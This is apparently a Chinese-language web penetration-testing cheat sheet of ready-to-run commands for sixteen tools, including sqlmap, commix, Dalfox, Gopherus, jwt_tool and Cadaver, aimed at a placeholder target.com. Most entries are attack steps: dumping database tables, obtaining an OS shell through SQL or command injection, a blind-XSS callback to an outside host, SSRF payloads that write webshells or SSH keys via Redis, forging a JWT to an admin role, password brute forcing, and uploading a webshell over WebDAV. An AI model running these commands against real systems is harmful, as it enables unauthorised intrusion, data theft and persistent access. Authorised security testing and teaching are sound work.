Files

13 KiB
Raw Permalink Blame History

Web渗透

16 条工具命令

SQLMap sqlmap

自动化SQL注入工具

Step 0

对URL进行SQL注入测试

sqlmap -u "http://target.com/page?id=1"

语法解析:

  • sqlmap — SQLMap工具 command
  • -u — 指定目标URL parameter

Step 0

只测试指定的参数

sqlmap -u "http://target.com/page?id=1&name=test" -p id

语法解析:

  • -p — 指定要测试的参数 parameter

Step 0

测试POST请求

sqlmap -u "http://target.com/login" --data="user=admin&pass=123"

语法解析:

  • --data= — POST数据 parameter

Step 0

使用Cookie进行认证

sqlmap -u "http://target.com/page?id=1" --cookie="PHPSESSID=xxx"

语法解析:

  • --cookie= — 设置Cookie parameter

Step 0

指定后端数据库类型

sqlmap -u "http://target.com/page?id=1" --dbms=mysql

语法解析:

  • --dbms= — 数据库类型(mysql,mssql,oracle等) parameter

Step 0

获取所有数据库名

sqlmap -u "http://target.com/page?id=1" --dbs

语法解析:

  • --dbs — 枚举数据库 parameter

Step 0

获取指定数据库的表

sqlmap -u "http://target.com/page?id=1" -D database_name --tables

语法解析:

  • -D — 指定数据库 parameter
  • --tables — 枚举表 parameter

Step 0

获取指定表的列

sqlmap -u "http://target.com/page?id=1" -D db -T table --columns

语法解析:

  • -T — 指定表 parameter
  • --columns — 枚举列 parameter

Step 0

提取指定列的数据

sqlmap -u "http://target.com/page?id=1" -D db -T table -C col1,col2 --dump

语法解析:

  • -C — 指定列 parameter
  • --dump — 提取数据 parameter

Step 0

尝试获取操作系统Shell

sqlmap -u "http://target.com/page?id=1" --os-shell

语法解析:

  • --os-shell — 获取OS交互式Shell parameter

Step 0

通过代理发送请求

sqlmap -u "http://target.com/page?id=1" --proxy="http://127.0.0.1:8080"

语法解析:

  • --proxy= — 设置代理服务器 parameter

Step 0

指定注入技术类型

sqlmap -u "http://target.com/page?id=1" --technique=BEUST

语法解析:

  • --technique= — B=布尔盲注,E=报错注入,U=联合查询,S=堆叠,T=时间盲注 parameter

Step 0

设置扫描级别和风险等级

sqlmap -u "http://target.com/page?id=1" --level=5 --risk=3

语法解析:

  • --level= — 扫描级别(1-5),越高越全面 parameter
  • --risk= — 风险等级(1-3),越高越危险 parameter

Burp Suite burpsuite

Web安全测试平台

Step 0

配置代理监听

Proxy -> Options -> Proxy Listeners -> Add -> Port 8080

Step 0

开启请求拦截

Proxy -> Intercept -> Intercept is on

Step 0

发送请求到Repeater

右键 -> Send to Repeater (Ctrl+R)

Step 0

发送请求到Intruder

右键 -> Send to Intruder (Ctrl+I)

Step 0

四种攻击类型说明

Sniper: 单个payload
Battering ram: 同一payload
Pitchfork: 多个payload并行
Cluster bomb: 多个payload组合

Step 0

启动主动扫描

Dashboard -> New Scan -> 选择目标URL

Step 0

安装BApp插件

Extender -> BApp Store -> 选择插件 -> Install

Step 0

复制请求内容

右键 -> Copy to clipboard -> Request

FFUF ffuf

快速Web模糊测试工具

Step 0

基础目录爆破 platform: linux

ffuf -u http://target.com/FUZZ -w wordlist.txt

Step 0

添加文件扩展名 platform: linux

ffuf -u http://target.com/FUZZ -w wordlist.txt -e .php,.html,.txt

Step 0

GET参数测试 platform: linux

ffuf -u http://target.com/?param=FUZZ -w wordlist.txt

Step 0

POST数据测试 platform: linux

ffuf -u http://target.com -X POST -d "user=FUZZ&pass=test" -w wordlist.txt

Step 0

Host头测试 platform: linux

ffuf -u http://target.com -H "Host: FUZZ.target.com" -w wordlist.txt

Step 0

匹配特定状态码 platform: linux

ffuf -u http://target.com/FUZZ -w wordlist.txt -mc 200,301,302

Step 0

过滤特定响应大小 platform: linux

ffuf -u http://target.com/FUZZ -w wordlist.txt -fs 1234

Step 0

递归目录扫描 platform: linux

ffuf -u http://target.com/FUZZ -w wordlist.txt -recursion -recursion-depth 2

WFuzz wfuzz-tool

Web模糊测试工具

Step 0

基础目录爆破 platform: linux

wfuzz -c -w wordlist.txt http://target.com/FUZZ

Step 0

过滤404响应 platform: linux

wfuzz -c -w wordlist.txt --hc 404 http://target.com/FUZZ

Step 0

POST数据测试 platform: linux

wfuzz -c -w wordlist.txt -d "user=FUZZ&pass=test" http://target.com/login

Step 0

Cookie模糊测试 platform: linux

wfuzz -c -w wordlist.txt -b "session=FUZZ" http://target.com/

Step 0

Host头测试 platform: linux

wfuzz -c -w wordlist.txt -H "Host: FUZZ.target.com" http://target.com/

Step 0

递归扫描 platform: linux

wfuzz -c -w wordlist.txt -R 2 http://target.com/FUZZ

Nikto nikto

Web服务器漏洞扫描器,检测危险文件、过时组件和配置问题

Step 0

对目标进行全面Web漏洞扫描

nikto -h https://target.com

语法解析:

  • nikto — Web服务器漏洞扫描器 command
  • -h — 目标主机 parameter

Step 0

扫描HTTPS服务

nikto -h target.com -p 8443 -ssl

Step 0

通过Burp代理进行扫描

nikto -h target.com -useproxy http://127.0.0.1:8080

Step 0

仅运行指定的测试插件

nikto -h target.com -Plugins "apache_expect_xss;outdated"

Step 0

输出HTML格式报告

nikto -h target.com -o report.html -Format htm

OWASP ZAP zap

OWASP官方Web应用安全测试平台

Step 0

快速自动化漏洞扫描

zap-cli quick-scan -s all -r https://target.com
# 或使用API
curl "http://localhost:8080/JSON/ascan/action/scan/?url=https://target.com"

Step 0

根据OpenAPI规范扫描API

zap-api-scan.py -t https://target.com/api/swagger.json -f openapi

Step 0

代理模式被动扫描

# 配置ZAP为代理(默认8080端口)
# 浏览器配置代理后正常浏览
# ZAP自动进行被动漏洞检测

Step 0

使用Docker容器化运行基线扫描

docker run -t ghcr.io/zaproxy/zaproxy zap-baseline.py -t https://target.com -r report.html

Arjun arjun

HTTP参数发现工具,发现隐藏的GET/POST参数

Step 0

发现隐藏的GET参数

arjun -u https://target.com/page

语法解析:

  • arjun — HTTP参数发现工具 command
  • -u — 目标URL parameter

Step 0

发现POST请求的隐藏参数

arjun -u https://target.com/api -m POST --include="Content-Type: application/json"

Step 0

使用自定义参数字典

arjun -u https://target.com -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt

Step 0

批量扫描多个URL,稳定模式

arjun -i urls.txt -o results.json --stable

WFuzz wfuzz

Web应用模糊测试工具,用于暴力破解参数、目录、认证等

Step 0

目录暴力破解,隐藏404

wfuzz -c -z file,/usr/share/wordlists/dirb/big.txt --hc 404 https://target.com/FUZZ

语法解析:

  • -c — 彩色输出 parameter
  • -z file,wordlist — 指定字典文件作为payload parameter
  • --hc 404 — 隐藏404响应 parameter
  • FUZZ — Payload注入点占位符 variable

Step 0

参数名Fuzz,隐藏空响应

wfuzz -c -z file,params.txt --hh 0 "https://target.com/api?FUZZ=test"

Step 0

双字典组合爆破登录

wfuzz -c -z file,users.txt -z file,passwords.txt --hc 403 -d "user=FUZZ&pass=FUZ2Z" https://target.com/login

Step 0

Host头注入方式枚举子域名

wfuzz -c -z file,subs.txt --hc 404 -H "Host: FUZZ.target.com" https://target.com

Commix commix

自动化命令注入漏洞检测和利用工具

Step 0

自动检测命令注入点

commix --url="https://target.com/page?cmd=test"

语法解析:

  • commix — 命令注入自动化工具 command
  • --url — 目标URL(参数中含注入点) parameter

Step 0

指定POST参数进行注入测试

commix --url="https://target.com/api" --data="host=INJECT_HERE" -p host

Step 0

执行系统命令或获取交互式Shell

commix --url="https://target.com/page?ip=test" --os-cmd="id"
commix --url="https://target.com/page?ip=test" --os-shell

Step 0

使用编码绕过和时间盲注技术

commix --url="https://target.com/page?cmd=test" --tamper=base64encode --technique=t

Dalfox dalfox

基于Go的高性能XSS漏洞扫描和参数分析工具

Step 0

扫描单个URL的XSS漏洞

dalfox url "https://target.com/search?q=test"

语法解析:

  • dalfox — XSS漏洞扫描工具 command
  • url — 单URL扫描模式 parameter

Step 0

批量扫描,仅输出POC

cat urls.txt | dalfox pipe --silence --only-poc

Step 0

使用自定义Payload并启用WAF绕过

dalfox url "https://target.com/q=test" --custom-payload payloads.txt --waf-evasion

Step 0

使用Blind XSS回调检测

dalfox url "https://target.com/q=test" --blind https://your-xss-hunter.com

XSStrike xsstrike

高级XSS检测工具,支持反射/存储/DOM型XSS检测

Step 0

扫描反射型XSS

python3 xsstrike.py -u "https://target.com/search?q=test"

Step 0

测试POST参数的XSS

python3 xsstrike.py -u "https://target.com/comment" --data "content=test" --method POST

Step 0

使用模糊测试模式发现过滤规则

python3 xsstrike.py -u "https://target.com/q=test" --fuzzer

Step 0

爬取3层深度的所有页面并测试XSS

python3 xsstrike.py -u "https://target.com" --crawl -l 3

Gopherus gopherus

生成Gopher协议Payload,用于SSRF攻击内部服务

Step 0

生成攻击MySQL的Gopher Payload

python2 gopherus.py --exploit mysql
# 输入SQL查询语句后生成gopher://payload

语法解析:

  • --exploit mysql — 指定目标服务类型 parameter

Step 0

生成攻击Redis的Gopher Payload

python2 gopherus.py --exploit redis
# 可生成写入webshell/计划任务/SSH密钥等payload

Step 0

生成攻击PHP-FPM/FastCGI的Payload

python2 gopherus.py --exploit fastcgi
# 输入要执行的命令

Step 0

生成通过SMTP发送邮件的Payload

python2 gopherus.py --exploit smtp

Smuggler smuggler

HTTP请求走私漏洞检测工具

Step 0

自动检测HTTP请求走私漏洞

python3 smuggler.py -u https://target.com

语法解析:

  • smuggler.py — HTTP走私检测脚本 command

Step 0

测试CL.TE类型的请求走私

python3 smuggler.py -u https://target.com -t CL.TE

Step 0

从标准输入读取URL批量测试

cat urls.txt | python3 smuggler.py

JWT Tool jwt-tool

JSON Web Token安全测试工具,支持伪造/破解/注入

Step 0

解析并显示JWT的Header和Payload

jwt_tool eyJhbGciOi...

语法解析:

  • jwt_tool — JWT安全测试工具 command

Step 0

自动尝试所有已知JWT攻击

jwt_tool -t https://target.com/api -rh "Authorization: Bearer eyJ..." -M at

Step 0

尝试将算法改为none绕过验证

jwt_tool eyJhbGciOi... -X a

Step 0

暴力破解HMAC密钥

jwt_tool eyJhbGciOi... -C -d /usr/share/wordlists/rockyou.txt

Step 0

使用已知密钥伪造Token,修改角色为admin

jwt_tool eyJhbGciOi... -S hs256 -p "secret_key" -I -pc role -pv admin

GraphQLmap graphqlmap

GraphQL API渗透测试工具,支持自省查询和注入

Step 0

通过自省查询导出完整Schema

python3 graphqlmap.py -u https://target.com/graphql --method POST -x dump_schema

Step 0

枚举所有可用的Query/Mutation字段

python3 graphqlmap.py -u https://target.com/graphql --method POST -x enum

Step 0

测试GraphQL参数的注入漏洞

python3 graphqlmap.py -u https://target.com/graphql --method POST -x nosqli

Cadaver cadaver

WebDAV客户端工具,用于测试WebDAV服务

Step 0

连接到WebDAV服务器 platform: linux

cadaver https://target.com/webdav/

Step 0

上传Webshell或文件到WebDAV目录 platform: linux

# 在cadaver交互式Shell中:
put shell.aspx
mput *.txt

Step 0

列出目录内容并下载文件 platform: linux

# cadaver Shell:
ls
get config.xml
mget *.bak